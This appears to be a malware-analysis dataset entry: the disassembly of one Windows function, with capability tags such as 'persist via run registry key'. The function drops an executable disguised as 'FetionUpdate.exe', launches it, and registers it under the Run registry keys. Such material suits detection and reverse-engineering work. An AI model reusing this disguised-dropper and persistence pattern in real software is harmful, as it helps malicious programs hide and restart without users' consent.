Function at 0x404160
Capabilities:
Create process on windows
Enumerate gui resources
Get common file path
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x244
lea eax, [esp + 0x3c]
push esi
mov esi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
push edi
push 0
push 0x23
push eax
push 0
call esi
test eax, eax
jne 0x404199
push eax
lea ecx, [esp + 0x48]
push 0x2b
push ecx
push eax
call esi
test eax, eax
jne 0x404199
push eax
lea edx, [esp + 0x48]
push 0x25
push edx
push eax
call esi
lea eax, [esp + 0x44]
lea ecx, [esp + 0x148]
push eax
push str._sFetion
push ecx
call fcn.00406b75
lea edx, [esp + 0x154]
push 0
push edx
call fcn.00406cf3
add esp, 0x14
cmp eax, 0xffffffff
jne 0x4041d7
lea eax, [esp + 0x148]
push eax
call fcn.00406cc7
add esp, 4
mov ecx, dword [str.FetionUpdate]
lea edx, [esp + 0x148]
push ecx
push edx
lea eax, [esp + 0x4c]
push str._s_s.exe_
push eax
call fcn.00406b75
mov eax, dword [0x4163fc]
add esp, 0x10
test eax, eax
mov ecx, 0x410280
je 0x404208
mov ecx, eax
mov eax, dword [0x4163ec]
test eax, eax
jne 0x404216
mov eax, 0x410280
lea edx, [esp + 0x44]
push edx
push ecx
push eax
lea ecx, [esp + 0x1c]
call section..text
mov eax, dword [0x4120d8]
mov ecx, dword [0x4120d4]
push 0
push 0
push 0
push eax
push ecx
lea ecx, [esp + 0x24]
call fcn.004011b0
test eax, eax
jne 0x4043c8
push eax
push 0x402b00
call dword [sym.imp.USER32.dll_EnumWindows]
lea edi, [esp + 0x44]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x148]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x44]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + ecx + 0x43], al
lea ecx, [esp + 0x44]
push ecx
call fcn.00406c9d
lea edx, [esp + 0x48]
lea eax, [esp + 0x14c]
push edx
push eax
call fcn.00406c6f
add esp, 0xc
lea ecx, [esp + 0x44]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 8]
push edx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
mov dword [esp + 0x14], 0
call esi
test eax, eax
je 0x404328
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [esp + 8]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call edi
test eax, eax
je 0x404328
lea ecx, [esp + 8]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call esi
test eax, eax
je 0x404328
lea edx, [esp + 8]
push edx
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call edi
test eax, eax
jne 0x4043c8
mov edx, dword [str.FetionUpdate]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x148]
push eax
mov eax, dword [esp + 0xc]
push ecx
push 0
push 0
push edx
push eax
mov dword [esp + 0x24], 0x104
mov byte [esp + 0x160], 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea esi, [esp + 0x44]
lea eax, [esp + 0x148]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x40438a
test cl, cl
je 0x404386
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x40438a
add eax, 2
add esi, 2
test cl, cl
jne 0x404366
xor eax, eax
jmp 0x40438f
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4043bd
lea edi, [esp + 0x44]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 8]
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 0x44]
push ecx
mov ecx, dword [str.FetionUpdate]
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x10]
call fcn.00401100
pop edi
pop esi
add esp, 0x244
ret